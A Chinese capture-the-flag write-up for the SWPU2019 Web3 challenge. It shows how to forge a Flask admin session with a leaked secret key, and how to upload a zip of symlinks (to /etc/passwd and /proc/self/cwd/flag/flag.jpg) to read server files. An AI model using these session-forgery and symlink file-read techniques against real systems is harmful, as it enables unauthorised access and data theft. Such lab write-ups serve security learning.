[SWPU2019]Web3
我们注册登录,发现一个上传功能
当我们点击时,页面提示我们权限不够
像这种情况一般就是伪造session
我们将session解码得到
1 | {'id': b'100', 'is_login': True, 'password': '1', 'username': '1'} |
为了获得更高的权限我们需要将100改成1
但我们需要密钥
通过测试发现,当我们访问一个不存在的目录时
就会出现一个token
我们将这个进行解码,得到米亚
那我们开始伪造session
1 | {'id': b'1', 'is_login': True, 'password': 'admin', 'username': 'admin'} |
1 | python session_encode.py encode -s "keyqqqwwweee!@#$%^&*" -t "{'id': b'1', 'is_login': True, 'password': 'admin', 'username': 'admin'}" |
我们修改session的值,得到了更高的权限
我们点击upload后,在页面注释中发现代码
1 | @app.route('/upload',methods=['GET','POST']) |
定义两个路由,上传的那个路由就是上传一个压缩的图片,服务器进行解压再显示图片,我们这里可上传一个软连接压缩包,来读取其他文件,showflag路由告诉我们flag.jpg放在flask根目录的flag目录下
ln是Linux的一种软连接,类似与windows的快捷方式
ln -s /etc/passwd forever404 这会出现一个forever文本,里面包含密码
/proc/self 记录了系统运行的信息状态等,cwd指向当前进程运行目录的一个符号链接,即flask一下进程目录
1 | ln -s /proc/self/cwd/flag/flag.jpg test |
其中zip命令的参数含义如下:
1 | -r:将指定的目录下的所有子目录以及文件一起处理 |
将zip文件上传然后抓包
得到flag